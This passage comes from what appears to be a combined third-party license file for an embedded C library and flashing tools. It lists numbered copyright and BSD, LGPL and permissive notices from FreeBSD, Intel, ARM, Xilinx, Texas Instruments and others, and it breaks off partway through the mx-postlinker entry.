AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(16) FreeBSD + +Copyright (c) 1997-2002 FreeBSD Project. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(17) S. L. Moshier + +Author: S. L. Moshier. + +Copyright (c) 1984,2000 S.L. Moshier + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, THE AUTHOR MAKES NO REPRESENTATION +OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY OF THIS +SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +(18) Citrus Project + +Copyright (c)1999 Citrus Project, +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(19) Todd C. Miller + +Copyright (c) 1998 Todd C. Miller +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, +INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY +AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(20) DJ Delorie (i386) +Copyright (C) 1991 DJ Delorie +All rights reserved. + +Redistribution, modification, and use in source and binary forms is permitted +provided that the above copyright notice and following paragraph are +duplicated in all such forms. + +This file is distributed WITHOUT ANY WARRANTY; without even the implied +warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +(21) Free Software Foundation LGPL License (*-linux* targets only) + + Copyright (C) 1990-1999, 2000, 2001 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by Mark Kettenis , 1997. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + 02110-1301 USA. + +(22) Xavier Leroy LGPL License (i[3456]86-*-linux* targets only) + +Copyright (C) 1996 Xavier Leroy (Xavier.Leroy@inria.fr) + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU Library General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Library General Public License for more details. + +(23) Intel (i960) + +Copyright (c) 1993 Intel Corporation + +Intel hereby grants you permission to copy, modify, and distribute this +software and its documentation. Intel grants this permission provided +that the above copyright notice appears in all copies and that both the +copyright notice and this permission notice appear in supporting +documentation. In addition, Intel grants this permission provided that +you prominently mark as "not part of the original" any modifications +made to this software or documentation, and that the name of Intel +Corporation not be used in advertising or publicity pertaining to +distribution of the software or the documentation without specific, +written prior permission. + +Intel Corporation provides this AS IS, WITHOUT ANY WARRANTY, EXPRESS OR +IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY +OR FITNESS FOR A PARTICULAR PURPOSE. Intel makes no guarantee or +representations regarding the use of, or the results of the use of, +the software and documentation in terms of correctness, accuracy, +reliability, currentness, or otherwise; and you rely on the software, +documentation and results solely at your own risk. + +IN NO EVENT SHALL INTEL BE LIABLE FOR ANY LOSS OF USE, LOSS OF BUSINESS, +LOSS OF PROFITS, INDIRECT, INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES +OF ANY KIND. IN NO EVENT SHALL INTEL'S TOTAL LIABILITY EXCEED THE SUM +PAID TO INTEL FOR THE PRODUCT LICENSED HEREUNDER. + +(24) Hewlett-Packard (hppa targets only) + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(25) Henry Spencer (only *-linux targets) + +Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved. +This software is not subject to any license of the American Telephone +and Telegraph Company or of the Regents of the University of California. + +Permission is granted to anyone to use this software for any purpose on +any computer system, and to alter it and redistribute it, subject +to the following restrictions: + +1. The author is not responsible for the consequences of use of this + software, no matter how awful, even if they arise from flaws in it. + +2. The origin of this software must not be misrepresented, either by + explicit claim or by omission. Since few users ever read sources, + credits must appear in the documentation. + +3. Altered versions must be plainly marked as such, and must not be + misrepresented as being the original software. Since few users + ever read sources, credits must appear in the documentation. + +4. This notice may not be removed or altered. + +(26) Mike Barcroft + +Copyright (c) 2001 Mike Barcroft +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(27) Konstantin Chuguev (--enable-newlib-iconv) + +Copyright (c) 1999, 2000 + Konstantin Chuguev. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + iconv (Charset Conversion Library) v2.0 + +(28) Artem Bityuckiy (--enable-newlib-iconv) + +Copyright (c) 2003, Artem B. Bityuckiy, SoftMine Corporation. +Rights transferred to Franklin Electronic Publishers. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(29) IBM, Sony, Toshiba (only spu-* targets) + + (C) Copyright 2001,2006, + International Business Machines Corporation, + Sony Computer Entertainment, Incorporated, + Toshiba Corporation, + + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the names of the copyright holders nor the names of their + contributors may be used to endorse or promote products derived from this + software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + +(30) - Alex Tatmanjants (targets using libc/posix) + + Copyright (c) 1995 Alex Tatmanjants + at Electronni Visti IA, Kiev, Ukraine. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(31) - M. Warner Losh (targets using libc/posix) + + Copyright (c) 1998, M. Warner Losh + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(32) - Andrey A. Chernov (targets using libc/posix) + + Copyright (C) 1996 by Andrey A. Chernov, Moscow, Russia. + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + +(33) - Daniel Eischen (targets using libc/posix) + + Copyright (c) 2001 Daniel Eischen . + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + +(34) - Jon Beniston (only lm32-* targets) + + Contributed by Jon Beniston + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + SUCH DAMAGE. + + +(35) - ARM Ltd (arm and thumb variant targets only) + + Copyright (c) 2009 ARM Ltd + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + 3. The name of the company may not be used to endorse or promote + products derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY ARM LTD ``AS IS'' AND ANY EXPRESS OR IMPLIED + WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + IN NO EVENT SHALL ARM LTD BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED + TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(36) - Xilinx, Inc. (microblaze-* and powerpc-* targets) + +Copyright (c) 2004, 2009 Xilinx, Inc. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions source code must retain the above copyright notice, +this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +3. Neither the name of Xilinx nor the names of its contributors may be +used to endorse or promote products derived from this software without +specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS +IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +(37) Texas Instruments Incorporated (tic6x-* targets) + +Copyright (c) 1996-2010 Texas Instruments Incorporated +http://www.ti.com/ + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + + Neither the name of Texas Instruments Incorporated nor the names + of its contributors may be used to endorse or promote products + derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(38) National Semiconductor (cr16-* and crx-* targets) + +Copyright (c) 2004 National Semiconductor Corporation + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(39) - Adapteva, Inc. (epiphany-* targets) + +Copyright (c) 2011, Adapteva, Inc. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of Adapteva nor the names of its contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +=== lpc21isp License === + +Copyright: (c) Martin Maurer 2003-2014, All rights reserved +Portions Copyright (c) by Aeolus Development 2004 http://www.aeolusdevelopment.com + +This file is part of lpc21isp. +lpc21isp is free software: you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. +lpc21isp is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Lesser General Public License for more details. +You should have received a copy of the GNU Lesser General Public License +and GNU General Public License along with lpc21isp. +If not, see . + +=== mx-postlinker License === + +Copyright (C) 2012 by 